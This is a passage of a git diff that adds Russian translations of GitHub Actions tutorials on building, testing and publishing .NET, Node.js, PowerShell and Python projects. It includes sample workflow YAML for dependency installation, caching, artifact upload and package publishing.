{% data reusables.actions.action-setup-dotnet %} + with: + # Semantic version range syntax or exact version of a dotnet version + dotnet-version: '3.x' +``` + +## Установка зависимостей + +Для размещенных в {% data variables.product.prodname_dotcom %} средств выполнения установлен диспетчер пакетов NuGet. Вы можете использовать CLI .NET для установки зависимостей из реестра пакетов NuGet перед сборкой и тестированием кода. Например, приведенный ниже код YAML устанавливает пакет `Newtonsoft`. + +```yaml +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Setup dotnet + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: '3.1.x' +- name: Install dependencies + run: dotnet add package Newtonsoft.Json --version 12.0.1 +``` + +{% ifversion actions-caching %} + +### Кэширование зависимостей + +Зависимости NuGet можно кэшировать с помощью уникального ключа, что позволяет восстановить зависимости для будущих рабочих процессов посредством действия [`cache`](https://github.com/marketplace/actions/cache). Например, приведенный ниже код YAML устанавливает пакет `Newtonsoft`. + +Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/guides/caching-dependencies-to-speed-up-workflows). + +```yaml +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Setup dotnet + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: '3.1.x' +- uses: {% data reusables.actions.action-cache %} + with: + path: ~/.nuget/packages + # Look to see if there is a cache hit for the corresponding requirements file + key: {% raw %}${{ runner.os }}-nuget-${{ hashFiles('**/packages.lock.json') }} + restore-keys: | + ${{ runner.os }}-nuget{% endraw %} +- name: Install dependencies + run: dotnet add package Newtonsoft.Json --version 12.0.1 +``` + +{% note %} + +**Примечание**. В зависимости от количества зависимостей может быть быстрее использовать кэш зависимостей. Проекты с большим количеством крупных зависимостей должны выигрывать в производительности из-за сокращения времени скачивания. Проекты с меньшим количеством зависимостей могут не получать значительного выигрыша в производительности, либо производительность может даже немного снижаться из-за того, как NuGet устанавливает кэшированные зависимости. Производительность варьируется от проекта к проекту. + +{% endnote %} + +{% endif %} + +## Создание и тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. В этом примере показано, как использовать `dotnet build` и `dotnet test` в задании: + +```yaml +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Setup dotnet + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: '3.1.x' +- name: Install dependencies + run: dotnet restore +- name: Build + run: dotnet build +- name: Test with the dotnet CLI + run: dotnet test +``` + +## Упаковка данных рабочего процесса в виде артефактов + +После завершения рабочего процесса можно отправить полученные артефакты для анализа. Например, может потребоваться сохранить файлы журналов, основные дампы, результаты теста или снимки экрана. В следующем примере показано, как использовать действие `upload-artifact` для отправки результатов теста. + +Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +```yaml +name: dotnet package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + dotnet-version: [ '3.0', '3.1.x', '5.0.x' ] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup dotnet + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %} + - name: Install dependencies + run: dotnet restore + - name: Test with dotnet + run: dotnet test --logger trx --results-directory {% raw %}"TestResults-${{ matrix.dotnet-version }}"{% endraw %} + - name: Upload dotnet test results + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: {% raw %}dotnet-results-${{ matrix.dotnet-version }}{% endraw %} + path: {% raw %}TestResults-${{ matrix.dotnet-version }}{% endraw %} + # Use always() to always run this step to publish test results when there are test failures + if: {% raw %}${{ always() }}{% endraw %} +``` + +## Публикация в реестрах пакетов + +Вы можете настроить рабочий процесс для публикации пакета .NET в реестре пакетов после прохождения тестов CI. Вы можете использовать секреты репозитория для хранения любых токенов или учетных данных, необходимых для публикации двоичного файла. В следующем примере пакет создается и публикуется в {% data variables.product.prodname_registry %} с помощью `dotnet core cli`. + +```yaml +name: Upload dotnet package + +on: + release: + types: [created] + +jobs: + deploy: + runs-on: ubuntu-latest + permissions: + packages: write + contents: read + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: '3.1.x' # SDK Version to use. + source-url: https://nuget.pkg.github.com//index.json + env: + NUGET_AUTH_TOKEN: {% raw %}${{secrets.GITHUB_TOKEN}}{% endraw %} + - run: dotnet build --configuration Release + - name: Create the package + run: dotnet pack --configuration Release + - name: Publish the package to GPR + run: dotnet nuget push /bin/Release/*.nupkg +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md new file mode 100644 index 000000000000..1c24e6def1b7 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md @@ -0,0 +1,310 @@ +--- +title: Создание и тестирование для Node.js +intro: Вы можете создать рабочий процесс непрерывной интеграции для сборки и тестирования проекта Node.js. +redirect_from: + - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions + - /actions/language-and-framework-guides/using-nodejs-with-github-actions + - /actions/guides/building-and-testing-nodejs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Node + - JavaScript +shortTitle: Build & test Node.js +ms.openlocfilehash: 25e44f1454387a84dd198ea9998d1ebc2f94cfe7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146179026' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как получить рабочий процесс непрерывной интеграции (CI), который создает и тестирует код Node.js. Если тесты CI проходят правильно, может потребоваться развернуть код или опубликовать пакет. + +## Предварительные требования + +Рекомендуется иметь базовое представление о Node.js, YAML, параметрах конфигурации рабочих процессов, а также о том, как создавать файл рабочего процесса. Дополнительные сведения можно найти в разделе + +- «[Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions)» +- [Начало работы с Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/) + +{% data reusables.actions.enterprise-setup-prereq %} + +## Использование начального рабочего процесса Node.js + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Node.js, который будет работать для большинства проектов Node.js. В этом руководстве приведены примеры npm и Yarn, которые можно использовать для настройки начального рабочего процесса. Дополнительные сведения см. в разделе [Начальный рабочий процесс Node.js](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml). + +Чтобы быстро приступить к работе, добавьте начальный рабочий процесс в каталог `.github/workflows` своего репозитория. В показанном ниже рабочем процессе предполагается, что ветвью по умолчанию для вашего репозитория является `main`. + +```yaml{:copy} +name: Node.js CI + +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + build: + + runs-on: ubuntu-latest + + strategy: + matrix: + node-version: [10.x, 12.x, 14.x, 15.x] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node-version }}{% endraw %} + - run: npm ci + - run: npm run build --if-present + - run: npm test +``` + +{% data reusables.actions.example-github-runner %} + +## Указание версии Node.js + +Самый простой способ указать версию Node.js заключается в использовании действия `setup-node`, предоставляемого {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. описании [`setup-node`](https://github.com/actions/setup-node/). + +Действие `setup-node` принимает версию Node.js в качестве входных данных и настраивает ее в средстве выполнения. Действие `setup-node` находит определенную версию Node.js из кэша инструментов в каждом средстве запуска и добавляет необходимые двоичные файлы в переменную `PATH`, которая сохраняется до конца задания. Применение действия `setup-node` представляет собой рекомендуемый способ использования Node.js с {% data variables.product.prodname_actions %}, так как он обеспечивает согласованное поведение в разных средствах выполнения и различных версиях Node.js. При использовании локального средства выполнения необходимо установить Node.js и добавить его в `PATH`. + +Начальный рабочий процесс включает в себя матричную стратегию, которая создает и тестирует код с использованием четырех версий Node.js: 10.x, 12.x, 14.x и 15.x. Здесь "x" — это подстановочный знак, соответствующий последнему дополнительному выпуску и выпуску исправлений, доступному для версии. Каждая версия Node.js, указанная в массиве `node-version`, создает задание, которое выполняет одни и те же действия. + +Каждое задание может получить доступ к значению, определенному в массиве `node-version` матрицы, с помощью контекста `matrix`. Действие `setup-node` использует контекст в качестве входных данных `node-version`. Действие `setup-node` настраивает каждое задание с использованием разных версий Node.js перед созданием и тестированием кода. Дополнительные сведения о матричных стратегиях и контекстах см. в разделах [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix) и [Контексты](/actions/learn-github-actions/contexts). + +```yaml{:copy} +strategy: + matrix: + node-version: [10.x, 12.x, 14.x, 15.x] + +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node-version }}{% endraw %} +``` + +Кроме того, можно создавать и тестировать код с использованием конкретных версий Node.js. + +```yaml{:copy} +strategy: + matrix: + node-version: [8.16.2, 10.17.0] +``` + +Либо можно создавать и тестировать код с помощью одной версии Node.js. + +```yaml{:copy} +name: Node.js CI + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '12.x' + - run: npm ci + - run: npm run build --if-present + - run: npm test +``` + +Если не указать версию Node.js, {% data variables.product.prodname_dotcom %} использует версию Node.js по умолчанию, заданную для среды. +{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} Дополнительные сведения см. в разделе [Спецификации для средств выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +## Установка зависимостей + +Для размещенных в {% data variables.product.prodname_dotcom %} средств выполнения установлены диспетчеры зависимостей npm и Yarn. Вы можете использовать npm и Yarn для установки зависимостей в рабочем процессе перед созданием и тестированием кода. В Windows и Linux для размещенных в {% data variables.product.prodname_dotcom %} средств выполнения также установлены Grunt, Gulp и Bower. + +{% ifversion actions-caching %}Можно также кэшировать зависимости, чтобы ускорить рабочий процесс. Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).{% endif %} + +### Пример использования npm + +В этом примере устанавливаются зависимости, определенные в файле *package.json*. Дополнительные сведения см. на веб-сайте [`npm install`](https://docs.npmjs.com/cli/install). + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '12.x' +- name: Install dependencies + run: npm install +``` + +При использовании `npm ci` версии устанавливаются в файл *package-lock.json* или *npm-shrinkwrap.json*, а также запрещается изменение файла блокировки. Выполнение `npm ci` обычно осуществляется быстрее, чем `npm install`. Дополнительные сведения см. в описании [`npm ci`](https://docs.npmjs.com/cli/ci.html) и разделе [Знакомство с `npm ci` для получения более быстродействующих и надежных сборок](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable). + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '12.x' +- name: Install dependencies + run: npm ci +``` + +### Пример использования Yarn + +В этом примере устанавливаются зависимости, определенные в файле *package.json*. Дополнительные сведения см. на веб-сайте [`yarn install`](https://yarnpkg.com/en/docs/cli/install). + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '12.x' +- name: Install dependencies + run: yarn +``` + +Кроме того, можно передать `--frozen-lockfile`, чтобы установить версии в файле `yarn.lock` и запретить изменения файла `yarn.lock`. + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '12.x' +- name: Install dependencies + run: yarn --frozen-lockfile +``` + +### Пример использования частного реестра и создания NPMRC-файла + +{% data reusables.actions.setup-node-intro %} + +Чтобы пройти проверку подлинности в частном реестре, нужно сохранить маркер проверки подлинности npm в виде секрета. Например, создайте секрет репозитория `NPM_TOKEN`. Дополнительные сведения см. в статье «[Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)». + +В приведенном ниже примере в `NPM_TOKEN` секрета хранится токен проверки подлинности npm. Действие `setup-node` настраивает файл *NPMRC* для чтения маркера проверки подлинности npm из переменной среды `NODE_AUTH_TOKEN`. При использовании действия `setup-node` для создания файла *NPMRC* необходимо задать для переменной среды `NODE_AUTH_TOKEN` секрет, содержащий маркер проверки подлинности npm. + +Перед установкой зависимостей используйте действие `setup-node` для создания файла *NPMRC*. Это действие имеет два входных параметра. Параметр `node-version` задает версию Node.js, а параметр `registry-url` задает реестр по умолчанию. Если в реестре пакетов используются области, необходимо использовать параметр `scope`. Дополнительные сведения см. на веб-сайте [`npm-scope`](https://docs.npmjs.com/misc/scope). + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + always-auth: true + node-version: '12.x' + registry-url: https://registry.npmjs.org + scope: '@octocat' +- name: Install dependencies + run: npm ci + env: + NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %} +``` + +В приведенном выше примере создается файл *NPMRC* со следующим содержимым: + +```ini +//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} +@octocat:registry=https://registry.npmjs.org/ +always-auth=true +``` + +{% ifversion actions-caching %} + +### Примеры кэширования зависимостей + +Можно кэшировать и восстанавливать зависимости с помощью [`setup-node`действия](https://github.com/actions/setup-node). + +В следующем примере кэшируются зависимости для npm. + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + cache: 'npm' +- run: npm install +- run: npm test +``` + +В следующем примере кэшируются зависимости для Yarn. + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + cache: 'yarn' +- run: yarn +- run: yarn test +``` + +В следующем примере кэшируются зависимости для pnpm (версия 6.10 или более поздняя). + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +# NOTE: pnpm caching support requires pnpm version >= 6.10.0 + +steps: +- uses: {% data reusables.actions.action-checkout %} +- uses: pnpm/action-setup@646cdf48217256a3d0b80361c5a50727664284f2 + with: + version: 6.10.0 +- uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + cache: 'pnpm' +- run: pnpm install +- run: pnpm test +``` + +Если у вас есть особые требования или вам нужно управлять кэшированием более детально, можно использовать [действие `cache`](https://github.com/marketplace/actions/cache). Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). + +{% endif %} + +## Создание и тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. Например, при запуске `npm run build` для выполнения шагов сборки, определенных в файле *package.json*, и `npm test` для выполнения набора тестов, вам нужно добавить эти команды в свой файл рабочего процесса. + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '12.x' +- run: npm install +- run: npm run build --if-present +- run: npm test +``` + +## Упаковка данных рабочего процесса в виде артефактов + +Вы можете сохранить артефакты из шагов сборки и тестирования, чтобы просмотреть их после завершения задания. Например, может потребоваться сохранить файлы журналов, основные дампы, результаты теста или снимки экрана. Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +## Публикация в реестрах пакетов + +Вы можете настроить рабочий процесс для публикации пакета Node.js в реестре пакетов после прохождения тестов CI. Дополнительные сведения о публикации в npm и {% data variables.product.prodname_registry %}см. в разделе [Публикация пакетов Node.js](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages). diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-powershell.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-powershell.md new file mode 100644 index 000000000000..884fa05bfb92 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-powershell.md @@ -0,0 +1,247 @@ +--- +title: Создание и тестирование для PowerShell +intro: Вы можете создать рабочий процесс непрерывной интеграции для сборки и тестирования проекта PowerShell. +redirect_from: + - /actions/guides/building-and-testing-powershell +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +authors: + - potatoqualitee +type: tutorial +topics: + - CI + - PowerShell +shortTitle: Build & test PowerShell +ms.openlocfilehash: 572c2ee17c948f44a8f8e4006d3729498269a215 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146180218' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве описано использование PowerShell для CI. Здесь описано, как использовать Pester, устанавливать зависимости, тестировать модуль и выполнять публикацию в коллекции PowerShell. + +Размещенные в {% data variables.product.prodname_dotcom %} средства выполнения имеют кэш инструментов с предварительно установленным программным обеспечением, включающим в себя PowerShell и Pester. + +{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %}Полный список актуального программного обеспечения и предварительно установленных версий PowerShell и Pester см. в разделе [Спецификации для средств выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +## Предварительные требования + +Требуются знания YAML и синтаксиса {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье со [сведениями о {% data variables.product.prodname_actions %}](/actions/learn-github-actions). + +Рекомендуется иметь базовое представление о PowerShell и Pester. Дополнительные сведения см. в разделе: +- [Начало работы с PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started) +- [Pester](https://pester.dev) + +{% data reusables.actions.enterprise-setup-prereq %} + +## Добавление рабочего процесса для Pester + +Чтобы автоматизировать тестирование с помощью PowerShell и Pester, можно добавить рабочий процесс, который запускается при каждой отправке изменения в репозиторий. В следующем примере `Test-Path` используется для проверки наличия файла `resultsfile.log`. + +Этот пример файла рабочего процесса необходимо добавить в каталог `.github/workflows/` репозитория: + +```yaml +name: Test PowerShell on Ubuntu +on: push + +jobs: + pester-test: + name: Pester test + runs-on: ubuntu-latest + steps: + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + - name: Perform a Pester test from the command-line + shell: pwsh + run: Test-Path resultsfile.log | Should -Be $true + - name: Perform a Pester test from the Tests.ps1 file + shell: pwsh + run: | + Invoke-Pester Unit.Tests.ps1 -Passthru +``` + +* `shell: pwsh` — настраивает задание для использования PowerShell при выполнении команд `run`. +* `run: Test-Path resultsfile.log` — проверяет, присутствует ли файл `resultsfile.log` в корневом каталоге репозитория. +* `Should -Be $true` — использует Pester для определения ожидаемого результата. Если получен непредвиденный результат, {% data variables.product.prodname_actions %} помечает этот тест как неудачный. Пример: + + + ![Неудачный тест Pester](/assets/images/help/repository/actions-failed-pester-test-updated.png) + + +* `Invoke-Pester Unit.Tests.ps1 -Passthru` — использует Pester для выполнения тестов, определенных в файле `Unit.Tests.ps1`. Например, чтобы выполнить тест, аналогичны описанному выше, `Unit.Tests.ps1` будет содержать следующее: + ``` + Describe "Check results file is present" { + It "Check results file is present" { + Test-Path resultsfile.log | Should -Be $true + } + } + ``` + +## Расположения модулей PowerShell + +В приведенной ниже таблице описаны расположения расположений для разных модулей PowerShell в каждом размещенном в {% data variables.product.prodname_dotcom %} средстве выполнения. + +|| Ubuntu | macOS | Windows | +|------|-------|------|----------| +|**Системные модули PowerShell** |`/opt/microsoft/powershell/7/Modules/*`|`/usr/local/microsoft/powershell/7/Modules/*`|`C:\program files\powershell\7\Modules\*`| +|**Модули надстроек PowerShell**|`/usr/local/share/powershell/Modules/*`|`/usr/local/share/powershell/Modules/*`|`C:\Modules\*`| +|**Устанавливаемые пользователем модули**|`/home/runner/.local/share/powershell/Modules/*`|`/Users/runner/.local/share/powershell/Modules/*`|`C:\Users\runneradmin\Documents\PowerShell\Modules\*`| + +## Установка зависимостей + +Для размещенных в {% data variables.product.prodname_dotcom %} средств выполнения установлены PowerShell 7 и Pester. Вы можете использовать `Install-Module` для установки дополнительных зависимостей из коллекции PowerShell перед созданием и тестированием кода. + +{% note %} + +**Примечание**. Предварительно установленные пакеты (например, Pester), используемые размещенными в {% data variables.product.prodname_dotcom %} средствами выполнения, регулярно обновляются и могут вносить существенные изменения. Поэтому рекомендуется всегда указывать необходимые версии пакетов, используя `Install-Module` с `-MaximumVersion`. + +{% endnote %} + +{% ifversion actions-caching %}Можно также кэшировать зависимости, чтобы ускорить рабочий процесс. Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).{% endif %} + +Например, следующее задание устанавливает модули `SqlServer` и `PSScriptAnalyzer`: + +```yaml +jobs: + install-dependencies: + name: Install dependencies + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Install from PSGallery + shell: pwsh + run: | + Set-PSRepository PSGallery -InstallationPolicy Trusted + Install-Module SqlServer, PSScriptAnalyzer +``` + +{% note %} + +**Примечание**. По умолчанию никакие репозитории не являются доверенными для PowerShell. При установке модулей из коллекции PowerShell необходимо явно задать для политики установки `PSGallery` значение `Trusted`. + +{% endnote %} + +{% ifversion actions-caching %} + +### Кэширование зависимостей + +Зависимости PowerShell можно кэшировать с помощью уникального ключа, что позволяет восстановить зависимости для будущих рабочих процессов посредством действия [`cache`](https://github.com/marketplace/actions/cache). Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). + +PowerShell кэширует свои зависимости в разных расположениях в зависимости от операционной системы средства выполнения. Например, расположение `path`, используемое в следующем примере Ubuntu, будет отличаться от расположения в операционной системе Windows. + +```yaml +steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup PowerShell module cache + id: cacher + uses: {% data reusables.actions.action-cache %} + with: + path: "~/.local/share/powershell/Modules" + key: {% raw %}${{ runner.os }}-SqlServer-PSScriptAnalyzer{% endraw %} + - name: Install required PowerShell modules + if: steps.cacher.outputs.cache-hit != 'true' + shell: pwsh + run: | + Set-PSRepository PSGallery -InstallationPolicy Trusted + Install-Module SqlServer, PSScriptAnalyzer -ErrorAction Stop +``` + +{% endif %} + +## Тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. + +### Использование PSScriptAnalyzer для анализа кода + +В следующем примере выполняется установка `PSScriptAnalyzer` и его использование для анализа кода всех файлов `ps1` в репозитории. Дополнительные сведения см. в разделе [PSScriptAnalyzer на сайте GitHub](https://github.com/PowerShell/PSScriptAnalyzer). + +```yaml + lint-with-PSScriptAnalyzer: + name: Install and run PSScriptAnalyzer + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Install PSScriptAnalyzer module + shell: pwsh + run: | + Set-PSRepository PSGallery -InstallationPolicy Trusted + Install-Module PSScriptAnalyzer -ErrorAction Stop + - name: Lint with PSScriptAnalyzer + shell: pwsh + run: | + Invoke-ScriptAnalyzer -Path *.ps1 -Recurse -Outvariable issues + $errors = $issues.Where({$_.Severity -eq 'Error'}) + $warnings = $issues.Where({$_.Severity -eq 'Warning'}) + if ($errors) { + Write-Error "There were $($errors.Count) errors and $($warnings.Count) warnings total." -ErrorAction Stop + } else { + Write-Output "There were $($errors.Count) errors and $($warnings.Count) warnings total." + } +``` + +## Упаковка данных рабочего процесса в виде артефактов + +Вы можете отправить артефакты для просмотра после завершения рабочего процесса. Например, может потребоваться сохранить файлы журналов, основные дампы, результаты теста или снимки экрана. Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +В следующем примере показано, как использовать действие `upload-artifact` для архивации результатов теста, полученных из `Invoke-Pester`. Дополнительные сведения см. в описании [действия `upload-artifact`](https://github.com/actions/upload-artifact). + +```yaml +name: Upload artifact from Ubuntu + +on: [push] + +jobs: + upload-pester-results: + name: Run Pester and upload results + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Test with Pester + shell: pwsh + run: Invoke-Pester Unit.Tests.ps1 -Passthru | Export-CliXml -Path Unit.Tests.xml + - name: Upload test results + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: ubuntu-Unit-Tests + path: Unit.Tests.xml + if: {% raw %}${{ always() }}{% endraw %} +``` + +Функция `always()` настраивает задание для продолжения обработки даже при наличии сбоев тестов. Дополнительные сведения см. в описании [always](/actions/reference/context-and-expression-syntax-for-github-actions#always). + +## Публикация в коллекции PowerShell + +Вы можете настроить рабочий процесс для публикации модуля PowerShell в коллекции PowerShell после прохождения тестов CI. Вы можете использовать секреты для хранения любых маркеров или учетных данных, необходимых для публикации пакета. Дополнительные сведения см. в статье «[Создание и использование зашифрованных секретов](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)». + +В следующем примере создается пакет, и используется `Publish-Module` для его публикации в коллекции PowerShell: + +```yaml +name: Publish PowerShell Module + +on: + release: + types: [created] + +jobs: + publish-to-gallery: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Build and publish + env: + NUGET_KEY: {% raw %}${{ secrets.NUGET_KEY }}{% endraw %} + shell: pwsh + run: | + ./build.ps1 -Path /tmp/samplemodule + Publish-Module -Path /tmp/samplemodule -NuGetApiKey $env:NUGET_KEY -Verbose +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-python.md new file mode 100644 index 000000000000..b1e0be52ea59 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-python.md @@ -0,0 +1,415 @@ +--- +title: Создание и тестирование для Python +intro: Вы можете создать рабочий процесс непрерывной интеграции для сборки и тестирования проекта Python. +redirect_from: + - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions + - /actions/language-and-framework-guides/using-python-with-github-actions + - /actions/guides/building-and-testing-python +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Python +shortTitle: Build & test Python +ms.openlocfilehash: a55aa73ce26f4482411366b0edb66d9b1a305966 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147409470' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве описано, как создавать, тестировать и публиковать пакет Python. + +{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} Размещенные в {% data variables.product.prodname_dotcom %} средства выполнения имеют кэш инструментов с предварительно установленным программным обеспечением, включающим в себя Python и PyPy. Вам ничего устанавливать не нужно. Полный список актуального программного обеспечения и предварительно установленных версий Python и PyPy см. в разделе [Спецификации для средств выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +## Предварительные требования + +Требуются знания YAML и синтаксиса {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье со [сведениями о {% data variables.product.prodname_actions %}](/actions/learn-github-actions). + +Рекомендуется иметь базовое представление о Python, PyPy и pip. Дополнительные сведения см. в разделе: +- [Начало работы с Python](https://www.python.org/about/gettingstarted/) +- [PyPy](https://pypy.org/) +- [Диспетчер пакетов pip](https://pypi.org/project/pip/) + +{% data reusables.actions.enterprise-setup-prereq %} + +## Использование начального рабочего процесса Python + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Python, который должен работать для большинства проектов Python. В этом руководстве приведены примеры, которые можно использовать для настройки начального рабочего процесса. Дополнительные сведения см. в разделе [Начальный рабочий процесс Python](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml). + +Чтобы быстро приступить к работе, добавьте начальный рабочий процесс в каталог `.github/workflows` своего репозитория. + +```yaml{:copy} +name: Python package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + python-version: ["3.7", "3.8", "3.9", "3.10"] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Python {% raw %}${{ matrix.python-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: {% raw %}${{ matrix.python-version }}{% endraw %} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install flake8 pytest + if [ -f requirements.txt ]; then pip install -r requirements.txt; fi + - name: Lint with flake8 + run: | + # stop the build if there are Python syntax errors or undefined names + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide + flake8 